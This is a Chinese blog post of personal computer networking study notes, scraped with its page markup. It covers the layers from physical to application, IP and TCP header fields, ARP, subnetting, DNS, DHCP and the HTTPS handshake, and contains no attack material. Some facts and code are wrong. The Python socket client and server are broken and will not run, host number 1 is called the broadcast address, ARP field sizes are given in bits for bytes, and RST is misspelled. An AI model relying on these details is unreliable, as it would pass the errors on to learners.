Time）：数据报文在通信中来回一次的时间（可通过ping命令来查看RTT）\n物理层（连接不同的物理设备，传输比特流）\n物理层传输介质：双绞线（又分屏蔽和无屏蔽，区别就是增加了一层屏蔽层），同轴电缆，光纤（通过光传输，光纤内部是具有高折射率的纤芯，能折射光）\n电缆使用铜作为传输介质，光纤通过光来作为传输介质\n铜线中的电信号传播速度大约为2.3*10^8m/s\n光纤中光信号的传播速度是2.0*10^8m/s\n因此实质上电缆的传播速度比光纤快，因为光纤是利用光的反射来传输到远方的，实质光走的距离更长\n但是电缆的铜在远距离的情况下，会导致衰减（主要有2个原因导致，介质损耗（通过电磁波传导，会在介质中产生电场的电荷规则排序，这会消耗能量）和导线损耗），需要通过中继器来延续信号\n因此在跨市，跨城，跨省，跨国使用都是光纤（光纤的带宽比电缆好，也是一个原因），但是短距离，得益于电缆的传播速度，会更好，因此局域网内部大多使用电缆来传输（因为解析光信号，还需要个光信号调制调解器，计算机无法直接使用光纤传输的数据）\n比特流：通过高低电平来表示比特流，来传输数据\n信道（往一个方向传输信息的媒体，一个通信电路最少要有一个发送信道和接收信道）\n信道的分类：单工通信信道（只能往一个方向通信的信道，没有反馈的信道，例如电视机的电视闭路线），半双工通信信道（可以发送和接收信息，但是不能同时发送，同时接收），全双工通信信道（可以同时发送，同时接收）\n物理层会实现信道分用复用技术（提升信道的利用率）\n频分复用，时分复用，波分复用，码分复用\n数据链路层（封装成帧，透明传输，差错监测）\n数据帧：数据链路层中数据的基本单位，数据发送方会在网络层的一段数据的前后添加特定标记，而这一段数据就是数据帧，数据接收方根据特定标记来识别数据帧，是数据链路层内部数据处理成帧\n数据帧也分MAC帧（没有帧尾，因为MAC帧之间是96比特时间，帧头也是没有的，而是让物理层给MAC帧添加8bts的前导码），PPP帧（有帧头和帧尾，帧头到帧尾就是这个帧的长度）\n封装成帧：数据链路层会将网络层交付的数据报文添加帧头和帧尾，让其成为帧\n帧头和帧尾都是特定的控制字符（比特流），帧头（SOH）：00000001，帧尾（EOT）:00000100\n透明传输：数据链路层对网络层提供的数据没有限制（控制字符在帧数据中，但是不会去当成数据去处理，就好像帧头和帧尾不存在一样）\n字节填充（对数据内部的数据填充ESC转义字符），比特填充（零比特填充法：在每5个连续的1后面插入比特0）\n数据链路层规定了帧的数据的长度限制，就是最大传输单元MTU（Maximun Transfer Unit）\n以太网的MTU（MAC帧）是1500字节\n路径MTU：由链路中MTU的最小值决定\n差错监测：因为物理层只负责传输比特流，没有控制出错的功能，因此数据链路层提供了差错监测的功能\n奇偶校验码：在发送的每个字节后加上一位，让字节中为1的数可以是奇数或者偶数，通过奇偶校验来确定数据是否出错，具体可以看https://xiaochenabc123.test.com/archives/77.html这篇文章，讲TCP的可靠性那里\n奇偶校验码的缺点就是如果发生2位的出错，就无法校验出来错误\n循环冗余校验码CRC（根据传输或者保存的数据来产生固定位数的校验码，校验码再附加到数据的后面）\n模二除法：通过异或来表示0或者1，例如00就是0，01就是1，异为1，或为0\n选择用于校验的多项式，并且在数据后面添加多个0，添加多个0的数据，通过模二除法来除以校验的多项式的位串，得到的余数将填充到原来数据的添加多个0的位置，来得到可校验的位串\n假设校验的多项式为X3+X2+1，那么就是原数据后面添加3个0（添加多少个0取决多项式的最高阶，二进制位的最高位也取决于最高阶（最高幂次）二进制位数等于最高阶+1，这里就是表示的二进制位为4位的二进制数），二进制位串位计算就是1x3+1x2+0x1+1x0，就是1101\n例如原数据为1010110，CRC校验码计算就是1010110000除以1101，得到的余数0001就是CRC校验码，在将原来填充0的位置填充CRC，就是10101100001，这个比特流就是要传输的数据\n接收数据进行校验通过，传输的数据除以位串，来得到余数，根据余数来进行判断校验（余数为0则表示数据正确）\n数据链路层只检测数据的错误，不会进行数据的纠错，数据错了，数据链路层将会丢弃错误的数据或者重新传输数据\nMAC地址（物理地址，硬件地址，每个设备都有唯一的MAC地址，用48个比特位来表示，使用16进制）\nMAC地址表：映射MAC地址到硬件接口上\n以太网协议是数据链路层的协议，以太网协议是局域网技术，以太网协议用于完成相邻设备的数据帧传输\n网络层（数据路由，数据在网络传输的路径，跨局域网，跨节点）\n路由器的顶层是网络层，没有使用到传输层和应用层\n网络层的ip协议，子网划分\n虚拟互连网络（物理网络复杂，使用IP协议时，将无需关心物理网络的差异）\n网络层利用IP协议来将使用IP协议的计算机连接起来，就好像这些计算机只需要连接一个虚拟互连网络一样，无需关心底层经过了哪些网关，路由器，ISP等等，将专注于数据的转发工作\nIP协议\nIP地址（v4只有32位，v6有128位），ipv4使用点分十进制表示，使用4组从0到255的数字表示ip地址，ipv6使用冒分十六进制，用8组4位的16进制表示ipv6地址\nIP协议处理数据是数据链路层处理完毕的数据帧的数据，又叫IP数据报，IP数据报包含了目标的IP地址，源IP地址，IP数据，协议数据等等\nIP数据报的4位版本，就是IP协议的版本，使用4位二进制表示，通信双方必须一致（否则无法通信），例如版本4（v4），版本6（v6）\nIP数据报的4位首部长度，是表示IP首部的长度，使用4bit表示，4位填满就是1111，就是15bit，IP数据报限制每行是4个字节（32位bits），154就是60字节，因此首部最大可以是60个字节，IP数据报最短部分有5行，54，就是20字节，20字节是IP首部长度最小的值，这个看起来可能有点乱，下面解一下为啥是这样\n首部长度的单位是32bit（4字节），也就是说首部长度0001是表示IP首部有32bit，4个字节，首部长度1111就是4*15（15是二进制1111换算出来的），就是IP首部最大是60个字节\n因为IP数据报最少要有5行，这5行就是最小首部（第六行是可选的），每行4个字节，4*5就是20个字节，IP首部长度最小表示得是20个字节，用4位首部长度表示就是0101（就是5，因为1就表示了4个字节）\nIP数据包的总长度是用16位bit表示，因此最大值为65535（2的16次方），这个总长度表示IP首部+IP数据的总长度，因此一个IP数据包最大是65535字节\n当IP数据包大于MTU时，数据链路层会将IP数据包分片，以确保符合MTU\nIP首部还有个服务类型，用8位表示，前面3位表示优先级，后4位是标志，最后一位是保留位，前面3位，满载就是111，也就是说有7种优先级，这个优先级没有强制性，物理设备也不看\nIP首部标识，占16位，是计数器，相同数据包的标识是相同的（每生产一个数据包就+1），用来数据包的分段，以确保IP数据包能通过MTU限制的数据链路，最后为了数据帧拼装成完整的IP数据包，通过标识来确定，这个标识会被复制到数据帧的标识字段中，相同标识就表示是相同的IP数据包，就可以拼装成完整的数据包了\nIP首部标志，占3位，只有2位有意义，表示该IP数据包是否分片，第一位没有使用，第二位表示DF（Don’t Fragment），是否要进行分帧（DF=0时才允许分片），第三位表示MF(More Fragment)，是否后面数据报（MF=0时表示该数据包后面没有了，是最后的包），因此一个允许被分片，并且不是最后一个数据包时，标志表示为001，不允许分帧的话，超过MTU限制的数据包将被丢弃，并且向数据包的源头提示信息\nIP首部片偏移，占13位，表示分片后，该片在原来ip数据包中的相对位置，片偏移是用8个字节为一个偏移单位，因此每个片的长度一定是8字节的倍数\n生存时间TTL，占8位，表示该数据报文在网络中的寿命，经过一个设备TTL会减1，当TTL为0时，该数据报文将被设备丢弃，确保数据报不会一直在互联网的设备中传输，而消耗网络资源\n协议，占8位，表示数据报携带的数据是什么协议的，让网络层知道应该将这个数据给哪个来进行处理，常见的协议取值，1为ICMP，2为IGMP,4为IP，6为TCP，17为UDP\n首部检验和，占16位，用来校验数据报的首部，每经过一个设备，都会重新计算首部检验和，确保首部不出错，出错会被设备丢弃\nIP源地址，占32位，表示发送该IP数据报的机器的IP地址\nIP目标地址，占32位，表示该IP数据报需要到达的目标机器的IP地址\nIP协议转发过程（逐跳（hop-by-hop））\nMAC地址表工作过程：网卡发送数据帧，数据帧抵达路由器，路由器会取前6字节，来匹配MAC地址表，查找该MAC地址对于的网络接口，路由器就可以通过网络接口来对外发送数据帧\nIP路由表和MAC地址表工作过程类似，IP路由表有目标IP地址，以及有要到达该目标IP地址的下一个地址，发出IP数据报，通过查询IP路由表得知，需要将改数据报发送给另一个IP，才能到达就会发送给另一个IP，另一个IP的设备查询路由表，需要给另一个IP，就发送给它，一直到抵达目的地，或者TTL死亡，计算机和路由器都有路由表\nIP路由表是网络设备根据路由协议生成的，windows操作系统可通过route print命令查看本计算机的路由表\n可以看到有5个属性，分别是网络目标（目标的IP）和网络掩码（表示IP地址的哪个标识是当前设备所在的子网），网关（将数据发送给哪个设备，网关又叫下一跳服务器），接口（发送数据包的网络接口，和当前网关是同一个子网）以及跃点数（到达目标需要经过的跃点数量，一个跃点就是一个路由器，TCP/IP协议会选择最低跃点数的路由）\n网络掩码，又叫子网掩码，和IP地址搭配使用，子网掩码也是32位地址，用来屏蔽IP地址的一部分来区别是网络地址和主机地址，RFC950定义，表示网络地址的位都为1，表示主机地址的位都为0，例如192.168.1.2的子网掩码255.255.255.0，表示192.168.1是网络地址，最后的2才是主机地址，因此得到192.168.1.2是属于192.168.1.0这个网络下的，其中主机号为2\n逐跳的过程：网络层通过路由表，知道下一个发送哪个设备来转发数据，网络层将封装IP数据报给数据链路层，并且告知目标的MAC地址是什么，数据链路层将数据帧发送给目标MAC地址，当接收数据帧后，会将数据帧给网络层（这也是为啥路由器最高层是网络层的原因，路由器不需要那么高层的功能），网络层查询路由表，得知下一个目标设备，并且将数据报给数据链路层，告知目标的MAC地址是什么，数据链路层会将数据帧发送给目标设备一直到真正的目标设备为止\n数据帧在每一逐跳中，都会对MAC地址发送改变，但是IP数据报的IP地址不会发生变化\nARP协议（Address Resolution Protocol，地址解析协议）和RARP协议（Reverse Address Resolution Protocol，逆地址解析协议）\nARP协议会将网络层的IP32位地址解析成数据链路层的MAC48位地址，ARP缓存表表示IP地址和MAC地址的映射关系，缓存表没有缓存时，ARP会广播，其他设备会回应，ARP将记录设备的IP和MAC地址，ARP缓存表的记录具有期限性\nwindows操作系统可通过arp -a命令查看本机的ARP缓存表\nARP协议报文是直接对数据链路层的数据帧进行封装的\nARP协议报文由2位的类型，28位的ARP请求应答，18位的PAD填充数据组成\n其中28位的ARP请求应答报文，是由2位硬件类型，2位协议类型，4位标记，6位发送方的以太网地址，4位发送方的IP地址，6位的目标以太网地址，4位的目标IP地址组成\nRARP的工作和ARP是逆操作，RARP协议是将数据链路层的MAC地址解析成IP地址，利用的也是ARP缓存表，RARP报文和ARP报文是一样的类型组成的\nIP地址的子网划分\nIP地址分类，将32位分成网络号，主机号\nA类地址：8位网络号（前一位为0），24位主机号，最小网络号为0，最大网络号为127（01111111），最小主机号为0.0.0，最大主机号为255.255.255\nB类地址：16位网络号（前二位为10），16位主机号，最小网络号为128.0，最大网络号为191.255，最小主机号为0.0，最大主机号为255.255\nC类地址：24位网络号（前三位为110），8位主机号，最小网络号为192.0.0，最大网络号为223.225.255，最小主机号为0，最大主机号为255\n特殊的主机号，主机号为0表示当前网段，主机号为1表示是广播地址，对当前网段的全部设备发送消息用的\n特殊的网络号，A类地址中网络号全为0为特殊网络，例如0.0.0.0，A类地址中网络字段后7位为1是表示回环地址，例如127.0.0.1\nB类地址网络号后14位都为0，例如128.0.0.1，C类网络号后21位为0，例如192.0.0.1\n上面特殊的都是不可使用或者无法分配的\n区别IP地址属于那一类地址，只需要将IP地址的前8位取出来，通过判断前1位到3位来知道，也是可以看前一段IP地址，例如192.168.1.1，这个明显超过A类，B类地址的最大网络号，因此是C类地址\n127.0.0.1本地回环地址（Loopback Address），这个地址不属于任何一个地址类，它表示设备的本地虚拟接口，甚至无网卡也可以ping通该地址\n还有D类地址，开头前4位是1110，E类地址前4位为1111，D类和E类地址用来特殊用途的，例如广播（D类），D类和E类是不区分网络地址和主机地址的\n子网划分就是在网络号主机号的基础上添加子网号，通过子网掩码来匹配网络号\nA类地址的子网掩码是255.0.0.0\nB类地址的子网掩码是255.255.0.0\nC类地址的子网掩码是255.255.255.0\n子网掩码的二进制与IP地址的二进制进行与运算（位相同，并且为1返回1，位不相同，而且为0返回0），得到的运算结果转换为点分10进制，就是该IP属于这个IP的子网\n无分类编址CIDR（Classless Inter-Domain Routing，无类域间路由选择，没有ABC这些网络分类，也没有子网划分）\nCIDR将IP区分为网络前缀和主机号，网络前缀相同就表示是一个CIDR地址块，网络前缀不受限制\n斜线记法，例如192.168.1.2/25，表示前25位为网络前缀，后7位为主机号（2的7次方，就是128，去掉最大和最小的，还有126个ip地址可以分配，而不需要像C类地址一样，直接就分配255-2个地址，造成地址浪费）\n通过斜线记法占据网络前缀，主机号将可以灵活的占用，更有效分配IP地址，减少IP地址分配的浪费\nCIDR的IP地址与子网掩码，进行与运算，可以得到网络号\n网络地址转换NAT技术（解决IPv4地址不够用）\nNAT技术将IP分为内网地址（避免和外网地址重复）和外网地址（又叫公网地址）\nA类内网地址，10.0.0.0到10.255.255.255\nB类内网地址，172.16.0.0到172.31.255.255\nC类内网地址，192.168.0.0到192.168.255.255\n网关以及ISP，服务器使用外网地址，内部局域网使用内网地址\nNAT（Network Address Translation，网络地址转换）：让多个内网设备通过一个公网地址来访问互联网的技术，通过转发端口号来实现，内部的端口号，需要访问外网时，会分配一个新的端口号和新的地址（公网）来表示这个内网端口服务，这样外网访问这个公网的端口时，将可以映射给具体内网的端口服务\n例如常见的NAT穿透技术（就是内网穿透）\nICMP协议（Internet Control Message Protocol，网际控制报文协议）\nICMP协议可以报告错误信息和异常信息，搭配IP协议使用\nICMP协议报文封转在IP数据报的数据中，ICMP协议报文由ICMP报文首部和ICMP报文数据组成\nICMP报文首部由8位类型（ICMP报文的类型，有2类，分别是差错报告报文，询问报文），8位代码（ICMP报文具体有哪些错误），16位的校验和组成\n差错报告报文的常见类型有3（终点不可达，代码0为网络不可达，1为主机不可达），5（重定向，代码0为网络重定向，1为主机重定向），11（传输超时），12（缺少IP必要参数（1）或者IP头部问题（0））\n询问报文的常见类型有0或者8（回送请求或者应答），13或者14（时间戳请求或者应答），询问报文主要查询网络是否互通，\n使用了ICMP协议的应用有ping（询问报文），traceroute（发送IP数据包到目标需要走哪些路由）\nwindows可使用tracert命令来体验traceroute的功能，tracert baidu.com\n传输层（给上层应用层提供通信功能，是数据通信的最高层，传输层实现进程与进程间的通信（跨设备，跨设备））\n传输层协议：TCP协议和UDP协议\n使用不同的端口表示不同的网络进程，端口使用16位表示，（0到65535），端口只对本地有意义，进行网络传输，还需要搭配IP来使用\n传输层对上层应用层起到屏蔽底层的细节的作用，网络层传输点到点的传输，传输层就将点精确到端，进程的传输\nUDP协议（User Datagram Protocol，用户数据报协议）\n应用层传递的数据报，UDP不会对其进行合并，拆分，UDP协议数据报大小取决于上层网络层的数据报\nUDP数据报分为UDP首部，UDP数据报数据（UDP数据报数据就是上层应用层提交的数据）\nUDP首部由16位源端口号（源机器的端口），16位目标端口号（目标机器的端口），16位UDP长度（表示UDP数据报的长度），16位UDP校验和组成，UDP首部是8字节的长度\nUDP无连接（不需要建立连接，直接对目标发送数据报），不保证可靠传输数据（不会感知数据报的发送失败，丢失），面向报文传输（应用层交付的数据报文有多大，UDP就传输多大的UDP协议报文，一次发送一个报文），没有拥塞控制（无法感知网络的拥塞情况，直接交付数据报给网络就完事）\nTCP协议（Transmission Control Protocol，传输控制协议）\nTCP协议报文也是在IP数据报的数据内部的，由TCP首部和TCP数据报数据组成\nTCP是面向连接（需要提前建立连接，才能通信），提供可靠传输（连接管理（3次握手，4次挥手），数据分段（），校验和（校验数据），序号（按顺序发送，收到乱序则丢弃数据），累计确认（接收数据方会发送确认应答，来表示发送的报文收到了），重发机制（定时器，一段时间内无法确认该报文接收到，发送方会重新发送该报文），流量控制（感知对方的接收情况，如果对方接收不够快，会提示对方降低发送频率（调整本地的窗口，并且告知对方窗口值是多少），避免数据报的丢失），拥塞控制（感知网络拥塞情况，能根据拥塞情况来调整数据发送的频率，调整拥塞窗口，避免数据报的丢失），通过这些来保证可靠传输），提供全双工通信，面向字节流传输\nTCP字节流：TCP协议将网络层传输的数据看成字节流，会从字节流中选择长度来创建数据段（拆分），这个数据段就成了TCP数据报的数据，接收方接收数据时，还需要对数据进行排序（根据序号，合并）\nTCP粘包：发送的数据，在接收方被粘在一块了（排序），一个数据包的头部接着另一个数据的尾部，导致原因是接收数据时，并不会马上交付数据，而是存储在流量控制的缓存中，交付数据时就可能读取到TCP粘包\nTCP首部由16位源端口，16位目标端口，32位序号（传输的字节都有唯一序号，表示数据报的数据的第一个字节的序号），32位确认号（表示前面多少个数据收到了，如果有下一个数据请发送给我，例如ack=11，表示前面10个数据已经收到，可以发送第11个数据了，表示期待收到下一个字节序号是什么，传输下一个数据报的数据取决于这个，序号+当前数据长度的和就是下一个数据发送的起点序号），4位数据偏移（首部长度，最大长度1111，就是15，表示有15行，每行4字节，最大60个字节，单位为4字节，长度是20（最少20字节）到60字节之间，表示真实数据距离首部有多长），保留字段，6位的TCP标记（有6位不同的控制位，分别为URG（Urgent，紧急位，URG=1，表示该数据是紧急数据，接收端会更优先获取该数据），ACK（Acknowledgenent，确认位，ACK=1时确认号才生效），PSH（Push，推送位，PSH=1时表示尽快将该数据交付应用层，不需要等缓存填满交付），PST（Reset，重置位，RST=1时通知重新建立TCP连接），SYN（Synchronization，同步位，SYN=1，ACK=0时表示需要连接建立请求，ACK=1时表示连接请求报文），FIN（Finish，终止位，FIN=1时，表示数据发送完成，开始断开连接操作）），16位窗口（表示本地可以接收的数据最大多少，字节为单位，流量控制的基础，可变），16位校验和（差错控制，发送方计算全部数据的校验和，接收方也计算校验和，当接收方的校验和和发送方一致时，数据发送正确），紧急指针（搭配URG控制位使用，指定紧急数据在报文的位置），可选的TCP选项（最大40字节），以及填充（填充32位的整数倍）组成\nTCP首部除了填充，TCP选项外，剩余是固定20个字节的长度的\n可靠传输协议：停止等待协议（发送方发送数据，只有当接收方响应确认后，再发送另一个数据，停止是发送方的停止发送另一个数据，等待是接收方等待数据的传输，获取到了响应一个确认，如果接收方在一段时间内没有响应确认消息，发送方会重发该数据给接收方（超时重传，超时定时器）），连续ARQ协议（连续发送多个报文，批量发送，通过滑动窗口，来确认发送多少个报文，当报文确认号到达，将移动窗口，让其可以发送后面的报文，累计确认）\nTCP可靠传输基于连续ARQ协议，滑动窗口是以字节为单位，窗口首个字节就是确认号（期望下一个发送该字节），发送字节的长度等于确认号+窗口大小，移动窗口的前提是已经接收到确认了，可用窗口等于窗口长度-已发送未确认的，如果窗口首个字节长时间没有确认，将重新传输该窗口的全部字节（哪怕已经接收到）\n因为重传窗口的全部字节效率低，因此有选择重传，可以指定重传的字节，每个字节都有32位序号，提供序号就可以选择性重传，选择重传的数据存储在TCP选项内部，因为TCP首部最大60字节，因此TCP选项最大40字节，也就是10个序号（一个序号4字节），能存储的序号太小，因此实质上存储的是重传的字节边界，重传开头字节到结尾字节，就是2个协号表达一段需要重传的字节，这会增加了重传字节的数量，而不是每次只能重传10个字节，而是能重传数百个，数万个字节，因为丢失字节的数量是非常巨大的，要么没有问题，一出问题就是字节丢失很多\n流量控制（提示发送方的发送数据的频率不要太快（避免接收方处理不及时，而导致数据丢失），通过限制滑动窗口的大小来实现，窗口指明发送的数据量是多少）\n发送方发送数据时携带SEQ序号，表示该报文的序列号，接收方进行响应时，会返回ACK确认号（表明接收到哪个报文了），如果想提示发送方的窗口要设置多大合适，还可以响应一个RWND来表示发送方应该设置窗口大小为这个\nACK=101，RWND = 1000，将表示下一个发送序号为101的报文，并且窗口为1000，也就是说可以一次传输101到1100之间的报文\n通过窗口大小来通知对方的发送速率，来做到流量控制，超时重传只针对数据的，对于响应消息是不会触发重传的，如果窗口控制的消息丢失了，将可能导致死锁（如果之前设置RWND为0的话，需要等待响应调整窗口，窗口消息丢失，接收方和发送方都在等待对方的回应）\n坚持定时器：当接收到RWND为0的消息时，启动坚持定时器，坚持定时器将每隔一段时间发送窗口探测报文，询问接收方是否有调整窗口的大小的操作，避免因为窗口消息的丢失而死锁的情况发送\n拥塞控制（硬件设备传输速率不同或者网络设备故障，因此存在网络拥塞的情况，例如报文超时，这个也是被认为网络拥塞了）\n拥塞控制算法：慢启动算法（从小到大逐渐增加发送量，当发送的报文接收到了，将增加发送量，逐渐试探网络是否拥塞了，会指数增长发送量，直到慢启动阈值（ssthresh）），拥塞避免算法（当慢启动算法达到慢启动阈值时启动，控制拥塞窗口，会试探扩大拥塞窗口（直线增长），直到发送网络拥塞为止）\n三次握手（通过TCP首部的TCP标记完成，ACK，SYN，FIN）\n第一次握手：SYN=1，seq=x，seq是序号，请求建立连接方向目标发送\n第二次握手：SYN=1，ACK=1，seq=y，ack=x+1，ACK确认收到请求，seq的值是数据序号，ack=x+1，是希望下次接收的数据的序号\n第三次握手：ACK=1，seq=x+1，ack=y+1，ACK确认，seq是当前发送的数据序号，ack是期望下次接收的序号\n发送方负责同步和建立连接，接收方负责监听和同步数据已接收响应，建立连接\n三次握手的作用不只是建立连接，而且还可以同步数据的序号，以及希望下次接收数据的序号，避免失效的请求建立连接报文（超时的）而导致错误，第三次握手消息，会让接收方忽略超时的失效的建立连接报文（因为超时没有响应，会重发请求）\n四次挥手（TCP连接的释放）\n第一次挥手：FIN=1，seq=u，数据传输完毕，需要终止TCP连接\n第二次挥手：ACK=1，seq=v，ack=u+1，被终止方依然可以发送数据，因为只是主动终止方发送完毕数据了，对方并不一定完成了，需要等待对方发送完毕\n第三次挥手：FIN=1，ACK=1，seq=w，ack=u+1，被终止方发送数据完毕，也可以终止了\n第四次挥手：ACK=1，seq=u+1，ack=w+1，请求终止方确认已经接收到对方可终止的请求后发送，可以释放了\n等待计时器：请求终止方需要等待计时器后才进行关闭，而被终止方接收到第四次挥手消息后是立刻关闭，这个计时器又叫2MSL计时器，即报文最大生存时间的2倍（MSL，Max Segment LIfetime，最长报文段寿命，一般为2分钟）\n等待计时器的作用是确保第四次挥手消息到达对方，如果对方在2MSL内没有接收到，会重新发送第三次挥手消息，确保全部报文在连接中失效，端口占用\n套接字（ip和端口的组合，Socket，表示TCP连接的一端，用来数据发送和接收）\nTCP连接使用2个套接字来组成（C/S架构）\n服务端创建套接字，绑定套接字，监听套接字，接收或者处理消息\n客户端创建套接字，连接套接字，发送消息\n套接字编程（使用Python完成）\n服务端\nimport socket def server(): s = socket.socket() #创建套接字 host = '127.0.0.1' port = 8080 s.bind((host,port)) #绑定套接字 s.listen(10) #监听 addr = s.accept() #接收对方发送的消息 addr.send('hallo word') #向对方发送消息 addr.close() #关闭连接 if __name__ == '__main__': server() 客户端\nimport socket def client(): s = socket.socket() #创建套接字 s.connect('127.0.0.1',8080) #连接端口 print(s.recv(1000)) #接收服务端消息 s.close() #关闭连接 if __name__ == '__main__': client() 应用层（对接用户的一层，定义应用与应用之间的通信规则）\n应用层常见协议：HTTP，SSH，DNS，FTP，SMTP，POP3，Telnet\nDNS（Domain Name System，域名系统）\n使用域名来代替IP的点分十进制，通过DNS服务，可以将域名映射出源IP地址（这个源可能是源服务器，也可能是代理服务器，缓存服务器，CDN服务器）\n域名由点，数字，字母组成，这个字母不区分大小写，点分割不同域（这里的域主要分顶级域，二级域，三级域）\n例如：blog.xiaochenabc123.test.com，.com就是顶级域，xiaochenabc123.test.com是二级域，blog.xiaochenabc123.test.com是三级域\n顶级域分成通用顶级域和国家（地区）顶级域，例如.cn，.com，.org，.net，.gov\n顶级域搭配二级域就是可以完成一个IP映射服务了\nDNS服务部署在DNS服务器上（域名服务器），根域名服务器（管理所有顶级域，全世界目前只有13台），顶级域名服务器（负责顶级域的DNS解析工作），域名服务器（负责二级域的解析工作）\nDNS解析过程：计算机访问本地域名服务器查询，如果本地域名服务器没有缓存，则直接向根域名服务器请求，这个顶级域是属于哪个顶级域名服务器的，根域名服务器会返回对应的顶级域名服务器信息，本地域名服务器然后对顶级域名服务器查询，这个二级域名应该属于哪个域名服务器，再访问域名服务器，最后获取映射的IP\n本地域名服务器决定了DNS解析的时长，一个好的本地域名服务器可以减少向根，顶级，域名服务器的请求，例如公共域名服务器，114.114.114.114，8.8.8.8，119.29.29.29，223.5.5.5，180.76.76.76\n域名由 ICANN 管理全世界的域名系统工作\nDNS也会被缓存到本地计算机内，浏览器缓存，操作系统缓存，因此实质上是先访问浏览器缓存，没有再访问操作系统缓存，再然后才到本地域名服务器\nDHCP协议（Dynamic Host Configuration Protocol，动态主机设置协议）\nDHCP协议是局域网协议，调用UDP协议的应用层协议，提供即插即用联网服务（不需要手动设置IP，而是使用DHCP协议提供的服务，动态设置IP）\nDHCP协议提供的是临时IP，具有租期性（过期了会回收，当然也可以续租），提供DHCP协议服务的是DHCP服务器，该服务器通过监听默认端口67，计算机通过UDP协议进行广播DHCP发现报文，因为当前计算机还没有分配IP，会通过设置ip的位全为1，就是255.255.255.255为UDP协议报文的ip，表示这个报文是广播报文，DHCP服务器接收到发现报文后发出DHCP提供报文，计算机接收DHCP提供报文，知晓该网络提供DHCP服务，计算机会向DHCP服务器发送DHCP请求报文，DHCP接收请求并且回应，提供IP地址\nHTTP协议（HyperText Transfer Protocol，超文本传输协议）\nHTTP协议是调用TCP协议的应用层协议，基于TCP的数据可靠性传输\n服务端处理过程：接受客户端TCP连接，接收请求报文（HTTP请求方法有很多种，常见的有GET，POST，DELETE，UPDATE，PUT等等），处理请求，访问资源，生成响应报文，发送响应报文给客户端\n请求报文由请求方法，请求地址，HTTP版本，请求头，请求内容组成\n响应报文由HTTP版本，响应状态码，状态解释，响应头，响应内容组成\nHTTPS是在HTTP协议的基础上使用了SSL（Secure Sockets Layer，安全套接层），数字证书加密通信，SSL证书由可信任组织（CA机构）颁发给所有人的，CA机构颁发的证书就叫CA证书，CA证书有很多种，SSL证书是CA证书的一种，数字证书主要由证书序列号，签名算法，有效期，所有人名称，所有人公开密钥组成\nSSL提供了数据加密传输，数据不可篡改等功能，应用层的数据交付给传输层会经过SSL的加密传输\n先进行443端口的TCP连接，SSL安全握手，完成安全握手后就可以对数据进行加密解密\nSSL安全握手的过程：\n客户端向服务端发送协议版本，支持的加密算法，随机数1\n服务端回应，发送确定的加密算法，数字证书，随机数2\n上面2次是不进行加密传输的，下面的才进行加密传输\n客户端会先检查数字证书有效性，使用数字证书提供的公开密钥对随机数3进行加密，并且将加密数据发送给服务端\n服务端接收到加密数据时，使用私有密钥解密这个随机数3\n客户端和服务端会根据之前生成的随机数1，随机数2，随机数3和确认的加密算法生成对称密钥\n客户端和服务端将使用这个对称密钥来进行加密和解密传输，这个对称密钥只有客户端和服务端知道，外人并不知道（因为随机数3是使用数字证书的公钥加密的，这个随机数3只有客户端和服务端解密后知道）\n","wordCount":"305","inLanguage":"en","datePublished":"2022-11-01T12:00:00Z","dateModified":"2022-11-01T12:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/156/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>计算机网络学习笔记</h1><div class=post-meta><span title='2022-11-01 12:00:00 +0000 UTC'>2022-11-01</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e8%ae%a1%e7%ae%97%e6%9c%ba%e7%bd%91%e7%bb%9c%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div 